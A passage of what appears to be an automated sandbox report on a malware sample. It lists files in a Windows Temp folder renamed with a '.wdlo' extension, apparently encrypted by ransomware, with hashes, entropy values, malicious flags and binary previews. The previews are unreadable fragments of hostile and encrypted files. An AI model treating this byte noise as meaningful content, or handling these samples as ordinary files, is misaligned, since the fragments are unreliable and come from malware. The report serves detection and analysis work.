.Z.._\|.!.I.5znX.]2...b.5...G..{..kK"..>6mz....B..".y..t[...Ad.^e.Y..LFf1]3.z...i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Temp\chrome.exe.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	MS-DOS executable
Category:	dropped
Size (bytes):	141134
Entropy (8bit):	7.9988248118097545
Encrypted:	true
SSDEEP:	3072:4veqW5qg6gc2TF1X0Ll2GZMud+Dm6lqIjlfiB/DJwdI5:Zv69OakGZv+DZlqIjBi1915
MD5:	4EE2D90BEF0CF10320639788AADD921A
SHA1:	548C512C10AFD12E969A822FBCD8EE7DBD2379FF
SHA-256:	20203067DDCCE786B620FB8F4856B3B021A8ECF88A5368A70C0699B841B48EF0
SHA-512:	D45DAED1E048FD79759D1120DB49CAA00912302DB17CBD3C682479E381D6B6A3AA81250590E4532E6DB8C0C300814E5940058A0D099491FFE77215C50EEF6123
Malicious:	true
Preview:	MZ....F;...6....Q..f O...(..w3,.w_..x....PN.m E..?p...sK...g....&.....}.+..z-..jK<..=..D..(Ai._.?..JtzV..$.8C.j..j...D..l.........W....f?...r"....3G.yk..F._...S..s.'......a....P.A.iz.\|......V#H>.T.W..R..^):."..\|.I...Q..b.....b}..,.Fc/L;...T.]J$V..'f.H..z..6.....pv...m.e...e.j4.....HS:....T38_..y$...Z$.}.)...{Ev..4..5......4.+}.@....:.@ ......Od...":..^.]x..>..t.D.z.\.......r.S......-...j.=0...tTG.=...v..z...:.....7.'..=..}=..~..$=. ..;...k..D.".e.V.."....5...L.}..T..Vqu6.........f...Z%.e.Ca.0vH...u:..........s1.E0......F.-...$.w.(WQ.NI.\..K..2..b.h.....A......u......x.....3[.y.L......h.h..^........-.M.2...Ui.p.... ...~..F...m.._\|t..1.K...9+..)......3C.gm...-..#.4.ZL...+...Bn2^.l.....C. .K...mz.+..^.G'..=.?..*.......g...`...sQ...........F.P.]P(..{M..eT.1...".j...P....Pl....x..g.-..&."....#.u...c..0...Y\|...V.C$..1..1#.%td....1.k.%..(.N.\|CE/33.rK\|.....12.4...cE...Y.....2..\|..^....3.P.P.K..t..!.TD..Q.^.....y.P.!98.s.".m.v6...e2.I..'.yl8

C:\Users\user\Local Settings\Temp\chrome_installer.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	6256
Entropy (8bit):	7.973141542938747
Encrypted:	false
SSDEEP:	96:PnoceJLKfhoqLwh/TuYbwKahHHIu5fFrS8W/aaKup5b6TM9YMsJxjjX750O27ZWA:3etU/G/TuKahV5VSEwKMsXre596Y6ZvE
MD5:	D1FACF1168A03CCA5D49DC9FEF26B339
SHA1:	711D1A295FA3AA520AA7BD81284080ED17BDB9C0
SHA-256:	D04F9084F024B89EE976B1795CBAE8BA40B9654BF74386AA53CAE76F08BD71EA
SHA-512:	EA70D8C2A052E4BEFADC729DEDDAECAF659079AFA9F4AD932BFD8181EAFFE689D0F079313E53D1140A052A3EAD37BCFB4067EA22946F9271CE28053E9296659D
Malicious:	false
Preview:	[1003....l.~.c..&.......d........S..3,^..3j?..e..u..,......rql..h...1....Ar....r.C3yxuL?.....x.un...H6W.!..@.Wfg./5..,.qqBu...2 e>;[.M..,2+...G1.M,..Q.&. ..o.qk.m1.. .....sh8.\.A...j.D..H.....=....5u.YG...J..e"...B..a....k.......;.).0j=.oy.H...P}..#}.....<bk.......K..m.. hE[.]w....Z....z`.........aI.qz.5\|.;.h...q..$.L........`....\|..=...Q.W..w.....Js..~<.^G...e..........%y^".......\.&.....u.....@..4..Y.=......D..C..`.`.B...,k.g$gX...!.(.......3!x-..Y{..".P...e..f. .y.x.s ...4...'.nkQy..o...Gj.R.j9........D+.#...G...F...3...u.%"[........]B!Sq.-.t./$..S....iU...X&W...dr..Y.J.wc6.........Y...E..k!HW..........x.c..:..../.O.%I./..S....0........V\|.<.@,w6.h..........l.C.m.L.'..@3....5.+F[..\>T..........".c..KI7.yT.-..).HY"......#U..#..z...+;_.....Hd......T...'H.y.h.Ti.,/P2O.b.8z....JC...r............JV.$F`.,.B..\|.x0U....{.U..2]j........l...{@.h[...N....%...rL....#.t.<..l..Q3..o`+.u-..N.Xb.f}L.5.!.V...z@.?.....4..-.+x)......k....n.....w...L...$y.

C:\Users\user\Local Settings\Temp\hardz.bmp.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	602502
Entropy (8bit):	3.1755130636263367
Encrypted:	false
SSDEEP:	3072:c+c1y92urG0FU9DtirgROAvYRK13BspG+TLhBpxtXx:cxRurNFU9csRO2oKhBsg+TVBX
MD5:	92B2A6E9AC50929A63E006E11840853F
SHA1:	21609532CBEE1D958EE292BA07A5401700269CD4
SHA-256:	D0314380307A73AA71159284028B198A0B2897C2F398ED75D82F5AD3403D83B1
SHA-512:	241DEAF270C7962F4814949E8044760D9DE223D6E10DF8DAC0B2B8B65BC8BAB7E759A33373304877064CD0221A10373B5F0E88899843C268A5B85204B7BA42D8
Malicious:	false
Preview:	BM80.+z..Vf.....&.!.s.5@......K.i.E....31j..}...W......\........M...u.p.#FV.E...,1.L.....;...C.q.=....Oq.K.E...,..%....M...M. .."..;.... f..g.v.<..b...j..~....K.M..y....Yq.b.-W`B6....63R......+...~.-P...."....S.!;..'...P.y' .t..Q"N.h.4...vV'....!]D..4f..05...v..37p....^..^@J&.]...:.hd.@.mE).~...U.:.X.(.<_.B....Y.../sn.[.@.P.ee..;.=!..P~K"..S..no...z)nm..Oq..)^j2.."..&.}.v.v. ..oW.T...Y., ..J`w... .<@...`. ..^..qr........yB~.f.N@.q..."..+......U....VE.M.d..7......u.HE.FZ(...z.K...,A..a,.%K4...7#...;G..].@...h.i.f..%. ......A.7.QI.p..7...._[tA..LQ.Z...!7.-a...N.d..}~?^.....?..E..">e.#.`u......Q.....T\|...`...D>.au3Kd2r.P..d.r.S.Q(....i:o..'-CN.vQ.3.pM.......>V............'G<.]S..J.7l\|....pe....v.d....7.)..F.....'1...(.L.ss.....Wd$b.........^B\'.i..gTU~t.O.8.p\mRdA.Dhj..."N...p&).Z...}.(1.-(9P}.mn{..bJ?NV\|..=F..h..z..W...I..OD..O/.S.5..a...i.j...q... ...".\|6$.K.4........u4...c.B._S.;...1...c.%.../C...Cg.U.2..'8.z..,.....T.+ ......\|.%G

C:\Users\user\Local Settings\Temp\user.bmp.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	602502
Entropy (8bit):	3.1761603897262267
Encrypted:	false
SSDEEP:	3072:MUSlOgY53sgUHH60KCZump4dvd+kHWBw0ClksTh2Ts2bD93MBPPU/zqF9031K:MUSltYWg0tTZC9EkWy0+h+y1PUby0lK
MD5:	15794C2B35AE8BC18784503EA46C2A9A
SHA1:	C0E25E448BE1DBA276CC60162FDE3DA1A7CD63AF
SHA-256:	39985D46449762331E6C303FA9A8F0745C57863C356AA40267A77BBE4D8B2D59
SHA-512:	231DE89A218F3D82FBEC7977252390B02121F94A7E768D1E6B582BA76FA751576ABA73EEA79BC03013388DCA679D3E15B4F9010F97605C6FCE041804DD042200
Malicious:	false
Preview:	BM80.bq..z.Rt.o^Y@...QD.}...Qu4.X......9...XVT..W.[...t.w.V[e.....q.'xJ..5...(:..0...V_v...p..}...h..u..8=..F...r....).B<.u.R.S....:.#}h"r.)..[.AY.."yW.....\|`...)......Os]...S..S6.Dj.l{.......3.x.Cq.7.=.~- ?..y@..k...u.W.T.<.W...D.Xil...??. ........kZH(7...['.......%.V?3.g...[.+....6s.9f............h.dD..0......g....p.v...Z..(.Hf.....1..'...JV#!.625.s.1._a.s.$.B.`.@........%.}..B..kD\|.Zn..m.t.!.2..R....X.O.Q..UQ..j....{q...rX...8.cfz.\|..L.k....X..?......8.3....c.=.T.ns...5_.....<......vM.a.?....".@....j6...~6G?.....{)."H..F.H.n.\.3.W...O...>..S`..`K..B...W....I...2I....a..W.8...7]..B......3.v...../....FP.&....9f.,.K.4..9...'.......vr......$ ue.R.\N.C..<...]p..@...o2..}.k.$.Z.....d..7....k2..%0..(....}...]...^.4..u.=)...I].....-^;.....T......i.#9..s".Y$...d.4....O[1#.....8..X...a......y?m....L.8~FO...:~.....tz.....K@,...a....{.8......V..v.P......l..SA.q(.&A.@.Ti..".z3..5S.P...\...K..'.....-.";Hm....C\|#O.3w.......".Ni.....}....Z.k..

C:\Users\user\Local Settings\Temp\jusched.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	4406
Entropy (8bit):	7.962772523077105
Encrypted:	false
SSDEEP:	96:o/NK1v/+BA+JkaUbMPhD8weHdm2mvoLtUC0WlhloUqH:1VmBCaUwPp29m2mvKtUC0rH
MD5:	71F22CAF1436AE3E962EC9C021DC2AF2
SHA1:	C62AFDC5B8F99B98B8C88F7F17EA30F5C7EC9E4A
SHA-256:	6E804FBD68F5E8461B24670F53A0D9772B471FE6119A498CA972E0E325C14782
SHA-512:	17A42B23E77F1D5C04873F2D2016D4EFB703462781F3DA91366B4D027114C87542653A55AC587689B74CDCB31EA8EF34C52D887FF49B74CDC05D74C4829702B5
Malicious:	false
Preview:	[2023...K...3Z..)....'.0.Zg..A.cIL..../Gh.....P1&......x..3@`8[.../..M.+s.t.....K..?.N-R..'..e.&_ff.."...I.....P' q.-kg.....XY.....B..?.j1.~dfE......f~q.Y.3F.H.J..f..M.`8..s....b..m_..........J.`+.....'2.\|.......=E2,..D...\|........D.......a.1j..<T...p..y.Q...4.....C..n"~.......0.cav..%h.Ml..S....A.5..gi<6...;I`......`\|..).K..Gt].C.Bi...0....2.W...X.m.....O?.#i..)&CQ...#..>).J.U...f/.."......(.\|i..BY.$DI........... ..{.L/$..MSF..''S.`........OpEL...6...Va...Y_.$-...p.....l...{..RE...."n.......1..C.P$......H..(]...G....Y4~9$&.n..".$)....q..e.&....)...$.Gf._.s0..p1}.{..b..... ..,\...{.0..Pq."...+U..A.y....7....aC.....j.\|_...$.u4='(1......>D...S;.......3S.P.59..6.9.qb\|q}.9.Y.\|..]..._.V...EO..d. ...r>\Dim5.,./n8j....(.Bz.z.n.1....n.m..N..$.w.loE.+WZ....e.1.v.......ks.........d;...Z..`s.._KB.)G..z.Fi.,.....d...$..Q8.(...4...[x........7[.{.=.if.].R.....5yR'0._...A.5..m.._u.kX............?.!b.,[.j..f.x>.[.F.....V .`\|..=..R.V..R.O.p......jd

C:\Users\user\Local Settings\Temp\msedge_installer.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	22093
Entropy (8bit):	7.991513104783012
Encrypted:	true
SSDEEP:	384:jU6/3Iju+qIsw2uceuOgrmPiwosqHLKlALRRlhDb2dodBan4CdJ5lp4F2diI86kG:jU43fIR2ZOgrmHCL51Ci3JCd7LHZ
MD5:	2D63BECB7C686099D6433646B2BBC7EF
SHA1:	18DF9A7CFB30947537E7312AB7785F95D61A1198
SHA-256:	AC952F00C83D221A1FDFA871FD95243B74A672FBFE741BF9A8FE0F040670140F
SHA-512:	DDECF255647CCC2106A73CACAC1D9604E6129141218BF14B54E5481D3A7889956D50E6CD6F688F1CF7648BE96D0279F486668E4BF01B1F316BB0D59B11DB85AB
Malicious:	true
Preview:	[4004...c...3+c..._B../..y....\|D........J.>.T/(.....qj............K....#.Gy..J.WD.....m.P.b.h....!@>..I..W(.......0....xy.8.F..pC.e...6......-.=...F.o..8..e..k...k....X..17Wm..3.(.^.....a......F\|.3.......+....G;.R.U./.7 s\....x.h....i.I....p.YL.X/P...+..{......j4z.[.......p..0..\|T..O..3ia.X.......`..........$.G.....5.A/...+a'.v....v.x3H.P&#..o.\v>...pr.s&....qw.ak.....n..xok.6.p+..?..d...W.`..0.0K~Z...".....~e....^.....).O6..=2......4..K....q._d.W.J.....>..S....Q.2..\|.&.;B..o.)g.'..t...f~.t..E..E....&.Jj.#g.}...B..E\.u7.\|..:pFe.].%......pt..O.....E."..nx.)O.....0..S.....!M.D.....K.....)..^h..........\|.[.9..T.:M.....-y.,..m.A..?.B..Y#..6S\|..<...c...X.....9%f..p..7KP..g..}..w..d.lF.OV...P...(a`@..T...R../P.f...E..C...;.n%.l$.......@.f.w...J..a...v.V..%.u.\|.y..$Zw......A..S..R....v......<{.K......>S.........\|..=...b..!......Q..7.....m..wRWl.....x....H...../.y....r.H...-^..........YP2t.(...-n..$...."...... .L)4...9[......%c!F...n.\|...@..

C:\Users\user\Local Settings\Temp\offline.session64.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	66542
Entropy (8bit):	7.997580551271125
Encrypted:	true
SSDEEP:	1536:nERGDeV/shu680ei2iLuvve5/fZdkLkh5PEk/+oH:bDeV/kH80ei2iLuvvGZ6Ih5PE6
MD5:	4D8DA78E9D44E7E797C87D2F6EBCB19F
SHA1:	B88D215025A176D1A5EA906D8497BDA57C567D6E
SHA-256:	EDCEFB72229BF8FC82A009C9A8B61E8DE593BAA57D4B0494830D1C0B16094B46
SHA-512:	DE07A8A5F8BB07CD1FDA0D9EA5A8BB78FB08CCC7A53DA05368629571A31CD5603C2036702F15BEF17C7AC04DDB8BF10F902FB29B78F720FCD6CA0887B14199A7
Malicious:	true
Preview:	1G.f.X.....r,..S.^kY......B.85._...._.........M.:..+..L....;...vL..Vc).....<.....A..?2..E.O.x..L...k....T.....N.R.9...D.o\..B.?8A5....O.4Wj<D..@Q..;.i....}..E...e.pw._.>.9\|.wb....Qg...G7-l.&....]..Uc.N...(.~......>.4..1&b..m...?..%..q....._.Q!.9......8.z\|....Wd.......L..c@.E...G.W2.L........s...........+..L.(.p.69.xR .P8.....yP.`.....Bl.2.q...NH!..mZ.J/.....;.[...V3.....\|N...m...N. ...$......3.\|.%t.~.:$...z...z.A7..Xo..s.....I...A.N.}..V..w. \|.!3.r.$.Q.C..J+...pS..O5..C...W...k.`......Z.kPt..V....5y.3..Y....(:.\..u.L}f.3]..q...ZE....HM....y7...].:.ld,.)...3.6...}...G.....vH.......w.w...LX..z...w0..Q.....Q'.,.....3\|....#..K....C,\|..\|.L]w.f(.!.^b ....=K$.......K.N.....^.p..Yo..m>.V...R... ..AL.5d.Z(`[....w.........9...6i...F.@...>..z....M..v#.2..u..M3KP=7.g....H..:.)..6!.p.....~[.m.\|v....c........9.X..)....k.E..?. +......OR..o...x..v..MG?.oi.....znbT.a..,..".....M.H.....G....mV...~v..c=-.......5..A..Nj.T/..".?....6.9.W..&N.6.0.....,\6.i\.}

C:\Users\user\Local Settings\Temp\prep_Form_JSI_API_not_a_real_file_V8_perf.cache.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1045
Entropy (8bit):	7.801139446009131
Encrypted:	false
SSDEEP:	24:yNN5cE/y11MfpfKfTqBu/NuhHoEZmT0wbiL/2TKiq/xXQBznv3V23zbD:yDWE/y11s5EKdoEsvbiEKNxXu3V23nD
MD5:	76C20EAAA9B16386E6F89158EE755045
SHA1:	1D38CBBF0E1088FD7947F624E20A9BA5734A1C7F
SHA-256:	BDBB67F8FDFEF2228C2A938124CB64A523D12E86A8B7529B0F1152FD5D8F8C6C
SHA-512:	DEEA4FDBD51388223C5C246505BD632596E1070FA7EE4DFF0264180E9611C1EB7DEADDAA803A61DFDB5B56558B7EF18A339A8B814B12F016757A42DB44ADE1CE
Malicious:	false
Preview:	RNWPR^.b..FM....G....j....0.a#Y._4..q./.(......5f.<.....'....i..)_.a'..N&!.^.#./....W....M....0uV5.~.?.:.}.Z%.b...q.m.Q.`.].g..{.......B..4...;g..t8.Or.>....G[..j...B..T..3.<B..p......4T..pQ....,.`.......}.a.0;..s.Y./.D........Xe..\......7....GzX2 ..ir/'.W}..Ls.....3...8f...X.....6=.....p..-.....i.....lu .1..YB.dq.. m.J.<.f..2u.....%..&.p.te...........)N..t..{S...jg.....#.$ ...M@.b.)_J....I;v....D.H=..Y...".>..X.&:.....i~'(..w[Pk....bi..I(..Wf..#\x..mRlS.B.F.k...k.b.k..`.Z..j.=.u...a(.:e.i.I....).L5.b...t>...A`......I..w.... ...^.$..Y93..j;..Lt.x}b...B.....8.~.]........t0.U.f.C......U(.R..l..%/.H.....7..3..T#....7.^Y(..^..u.....H`".p .Y..M[.. ?......$,.m....C.`.....&2#6.u.yh.{...T.N;......W..Q.lblq.+.. ....P..q.....g.FY~.....&.....y.....d...8.T.}`.Z......a.E..[9.......y5..-.3.H.......dE8&..,.T.e...c..\|... .G..J?......m.*..a~I.A=....3.b....hZ.^Y...HW...i6...X..[.....X..T$I?...v...4. ..k..u{.B..I.i0fXrUHVihm5xsI9Icg243YMPJqd748Oc

C:\Users\user\Local Settings\Temp\prep_foundation_win32_bundle_V8_perf.cache.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	662049
Entropy (8bit):	6.821246453526782
Encrypted:	false
SSDEEP:	6144:Nc80FvHp8PrBLUEbRB9PAOE0lC7vQiifjhsLT3DZePTVakbYwsqVhKXHgjSDhF3I:gPpOHr9S0lgQiee/t4P+qVKTpe
MD5:	EB81DEE10C38CA18C8B529793ECF9C84
SHA1:	26C5D3B9C0821161513A0B1B75564A83B0658CFF
SHA-256:	E85A877B1A2B8903F2E344760BF581DC278DDBFF487C58FE0D390FEFBA42A1E8
SHA-512:	A0D241485375BF519D4D6C0F010BC9A581E6E9CFC5BB6B27E2351127843DF2B77583407B8559C1F7BB5BD98ED01B959BD855EC22292B62833FFFFF2DD5E5A3E7
Malicious:	false
Preview:	RNWPR..0..t..<D.I@.G.uf=3.U...+...4..y.W.!~..t....y...V.:$...D..iq._....Z;.1f\|%C........r...R.I...c....~D...R..]........4.rj&)...8.\|.p72-...s@.].hr7Mu..d=...4..D~...]7..az....o.s.].............D...p.._w.IF)....p.`}..........FKRZq`..0...+.+.!E.y..@.o...jQ....S.P?f....2djBCW.O.]..jm14.7...c.P.?..j5.F....2g.(.O..V...5.y......uz!h.N...V].).7.....HGX......m\<..R=.T.L.+...A./.I..k\|..A./g..r.Dr...i.@.L..@.%....TlU...A....&b..+./x8....5....(...#..o...P......`....0.&#6X...eV..N....;..4..]x....k}...~o_.."..l.Ak.....g...T^......O.w$.d..b{...e.{1\|.}...$..45N.V.....3Z..,....bbu.......!T....V.~w.N.h....o.vfb........=a.e.9....,....l..e/`.W.&.LZQR..O.].b..tg...n..W..3.N.w....K.].-...3_.\..`a.?#..D..x.=Q\D.9.'.T....7......f..`.(.?.y..ur.V..V.J.K.ob...V.6..$..\|.........0HwE...]lW.%..C_e....A\.g....\.N......k..Y<....6.\|7Y......l.2..i\|;.l..!.gR.....u.\...\.m.0HC\w.8.>..b.......!.......\.\..W.Gf...<.......Q..W....l..L...-....)......u1.[h.!..*9.c...o.

C:\Users\user\Local Settings\Temp\prep_privacy-sdx_win32_bundle_js_V8_perf.cache.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	193297
Entropy (8bit):	7.871352355830115
Encrypted:	false
SSDEEP:	3072:GKKPHvHrYiyBnaxFq5rvfP6KlCMvWE1QUjwDk1HwZ1IFpXh4vktEtGuv+UkyS6vp:GNfvPxqvzlCMdqUsDk1HyanRik2tDWUJ
MD5:	528DCF4AB9ECC7097438C6FFA87B5EAB
SHA1:	CBB2BB969A1F2A4CA3FD3F4CACB7096E4D228C68
SHA-256:	527D9748DEA489805C221CE0F62E99F2A3D28107FD6FCF57BF30FBB269886F69
SHA-512:	15869D2C9163D55053DC93A8AA5F7E77B2A1C0163DE8F4017A52D8C1D2ECA9B048C5538F83382CEC467D32625A5CA81AB702FB7301968B952BFB2F954978E9B1
Malicious:	false
Preview:	RNWPR......u..e`.....-](^+$.U..:6.U.a..b.4\F=..1+]..Ud..NF..0\.gl..n..5..p...k..b:.M..M/.i.;...]..2.....Q.Z.0.OS....][..y.7.....n0.$./........z..?j.9...G..'..l....}..v.?p..Y..s.#./.#xD.....Tn...n+q3'p.!....k0w...^...b.I.=.AZc.C.....Z.,:.S....R.h.\....&.i....7'n.q(1.S_......d'.l........TX.<J.G9F.<.......w.3....Xf.!._....YS.P..."tW..TI..W.'P=J+..S2....\|..h..B.:4......K....I....~.C^..g@...xQH...x..X.tM..{..W.."....>.I..,........L......?.0M.N..6.....d....R...3..j....L...T.p.#.VA.+b........DOJ.....>....Hf..WQ......Kl...........^.~X.........o..<..{.#.O/^....t....b.o....,I.N.D.^T..0.F.nI<.......M!...s...y.}.....~.$"....[.+..=C.E..J.A.,..D..)5_...Wx..\..j.....00..p...P.......di.....F...._..4'..h..]6..$.$$..\|.f'......E.A..S.......kSJ\.>7)..s.r1D...%........\3...0E.>`.=..z....x....44. ."di.$/./@.h^V..-uJ......n.....7d&hjw...(.e.#.I...k.KV....1}o.jb.-......v.B..r..C.QZ.2..^......i..4.$.$b~.....=z.Q...G.`.;L....<.G..3...5...$.^.Y4uR..T]..

C:\Users\user\Local Settings\Temp\prep_ui_win32_bundle_V8_perf.cache.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	240241
Entropy (8bit):	7.547117007642074
Encrypted:	false
SSDEEP:	3072:RTeNXn88IstaDhlYbWfMflysY59aOa7jE+pwvGlEpoPXFWYI2szCDFP5:cN3rIsOhqSf0yha7lSsEgWYxsmhR
MD5:	0E3110961DDF03DDA5EBD80A56717C77
SHA1:	C955337A7D1898DEFF0C123A7FC8BA7EEE3DF412
SHA-256:	62C9246BDDEF5F45F0BF8C05A5AE5D2AC22F805F7792A23054D43D344FBFF0A5
SHA-512:	97DC941578B18C310F1568205ADA89CBA6B8E17C5F56091AE7A9279011DEDD05E8B4F79B962441270838D907D0FF693D1CB4A25C2CC0622821969D7F03E064E7
Malicious:	false
Preview:	RNWPRhR..X....?...R..u.....P...B..l...%.Jo....5r.Q...J%.uC ..-...;.Z.OE......So....m[.N...'v.#....~z.>..y#.....46.F......{....q..o.y..j.......;W.?..h.q....6J..]..p../&......91....zM.%...@J_.bJZ....A..^...Rw........\.(M.x'...m..w... P...;1.^1..h.lR6....~..`.......K..y..Sw.ZVJ.\|zZ.....$...+....l?..DV.,.}..<....7..;....&u......\|(.J.T.C.,..`.....p.c.11c.Y....qa..+?LX...W.k...Fjc/.\.].81.f.j..2".0.......(.[\q6k...$........\.NH....4..Q>....2..........6h..........^..D..D..j.....W.D.lw.:'.e.X,.I..M.....!..u..%......aP.-...dc.9's7?..(.\..S...s.[..y..'-.3H......OsiT[...]vWa~.E....!qa...1Tl......r....`.2k..k..7D....;.1"...=..u..S.(.~...n.;m.>.......7N.e.4.K\|..#;h....)@....B2"E.=yL.^..>g...5..5.2.]..yn.l...._.O.y.7......&....~.K....+.&.j.&....r..&n....iph...:.1YSz.e...+..Zz........].....V..h.....g.....DO...R..S...Y...."Syh.i.>p.1....oDb......:...Tw.?.:..^dm....'..,.......k.....~.%.'..+.G(J{..1...(y.E7nH.(.+.x..{.F..A.Yc....oY.\|

C:\Users\user\Local Settings\Temp\tmp431A.tmp.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	MS-DOS executable, MZ for MS-DOS
Category:	dropped
Size (bytes):	792910
Entropy (8bit):	7.614698919523123
Encrypted:	false
SSDEEP:	24576:eGQZ4dWxnxXO0+R829XlHpxiMDv++ic65/:ezZj/XM829XlTop/
MD5:	9DCD286EAF84534692C1269ADD6CF1D5
SHA1:	AF80E901D2356DBE761DC76926D51537E5339B56
SHA-256:	59CF88C67AE75321D1D37ED779C3831888736F1D5432F734A50314EC1E575F47
SHA-512:	7C913B2AC6FEF3FFFD759370C77D7287CC584D81A44767B5CA7A235CA5B9A63DCA59AB4C8B9F7ED9E313CD1EE21E81751C6AD1F8F0863BF9BF30804A2A38B564
Malicious:	true
Preview:	MZ.....P..........\....Rp'..].........4"...k.M..:U...M.`zY.#.j..wA.8w.0Y..thP6..EF...#{.&:.i.a...:..{...}RkaR~.....1y......I../r.M......G)H.e. q...............3..............R.t..Cx?..E.&.@2`.c.-6..m...o.'.'.b...Dw.i.......Rx<..y=..Q.Q_..w...11r.....=.D......t,.P.iu;.{A.?.K..b..]3.IyZ...1~.>k.8@..f...........2..=...\(C.%....B.w...q..+.o.[4j..,1.R. .#.K..7..VR.[.T.D..X....s..j......Qxl[.)...r.1...8....9P..4.?.ki$...K..Pm.Hl..7..K.=;.(t^.V..u.....\n.)e.O..{.:.V..z.ap......"...m.N.j~..7j.C......S..(....#.."H!_.R......Tm....].b..p......../....k:-.i.CM....Hq.n..F.4.^t$..h.\/M...[k#.P.....(.{.......2\.y.Q.I..e..(.X....FO4*E....wJ..4&..-r..<;`....@........C.)V:...J.L.`....A..N.Ny<Y.r....x}?=..e.R.^B....8.+..l+..I..r........\|,_.:SbB..C^...l...$...H\|[..]..$.LY.:g..E.Me..W.6 .6h...z...h.....}.$.g.93.E.-..K$........Q4..:<..{v..C......V..3.L.w.NdL..k...#..j..q..ML.1......U..+.%...1H.9!........^)....J..~.......T5s..#...Mo6.r.... ..a.a\\..^/.(..@....HZ..

C:\Users\user\Local Settings\Temp\wct150C.tmp.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	74540
Entropy (8bit):	7.997372358210284
Encrypted:	true
SSDEEP:	1536:WKQ6aNvhMelYcfhQJ6zDeAXagL/5ZcJcTZXr+fzY0rIYvvL:nQ6wMat5/hqu5ocTZXm0cIYvT
MD5:	9ADBFE883C983B290F5C9F79AE467230
SHA1:	897D3EEF5ED62DA73C3788001C9549047FBE0221
SHA-256:	781588F7176DFF12BF362D94259A203B2C0AD8A76CF9EDDD27EBD0B736906E6E
SHA-512:	E6AEEC7DE7ED8AF0743551A40DD0628C6844F9F943D6D2395D7B9305EB7931D859099971F0BC0DB99508C7CFC1334B403D81C1681F7311BFECCB8D8D2FF53FFA
Malicious:	true
Preview:	{"ram...7.R&.d......L`.U.,d.2#x.MQ`.L....}.iG.3 .Nma..-...$...UJ..Wb...5..^..s...........7g....K!.....Y.&.....b...EW..........>r....P.mx.%.W...[u.$m.,.m..\.q.e.es.D....Q.e.g....#..i..T.4...qcf.....-.............\..w...^$.Q.(..b%...A..+...\^..x..Hm...<..(3Zx..K.O...W..o.!+.z..f..M.$.`...(s....5#....t...c7..\|X...r..P.Q^.B.`#oP..?V..O...e.l..+...Z...0.f.R#Ej.\|=.;.m...O=!u..})..m k..`....3..R..w!..HJ"..S.....-F...+...Xz..4.}^..-..F(D....(.\|......m.[..sE:Z....[I._Rz..-.........c<...80..K..H...C..G..).....y.4....D..5D....#.(0}.(AIC...Vl#....T./.[4......)5.6..W.....XH.I....(...>.U.y...,..._0.....q./...`zE...wqZhh..;..T....#9...R.....@...S.I.#.L$B..T<.......kV...#.bC.j..3.9.X.O.5g-......G....d. ...4.l+.=.... .Ia..........".cr1.....S.o.-M}L6.*...........c.l.;......<<.h.-.}...ZX....Q._)..]...KQA....@..[.m.._YJ.LIa...&.@..3b...;......R.R..~.VK...t....8Xf.:'...:g]Nh........r^l.H...,\K..T.....eG......$....3.+....'.].F.X......Zf0.G

C:\Users\user\Local Settings\Temp\wct33D7.tmp.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	65188
Entropy (8bit):	7.996861531129073
Encrypted:	true
SSDEEP:	1536:udSu9MGiGTCBUglL4HhUu+tmL1ZwZ44n6DvWHJ:UWGToUJHhPZQ/n6bOJ
MD5:	17F8DE76C1C544AF846CFD46B35E4E69
SHA1:	98305DCC68C2089CCA0171D266DE205BF539BAC0
SHA-256:	C20A6E28D5C28019FCF188AAA33C0EE9031673C4863D2CC1B7A46C5D06F6D828
SHA-512:	86B7540591303954CAC4A46464D4CF0D69C667EAC1578097C0771D8659C0AFE4112AFFD173D51F248FE8EA303956266EAA1046DFF481BE9446844EB8C0AE254F
Malicious:	true
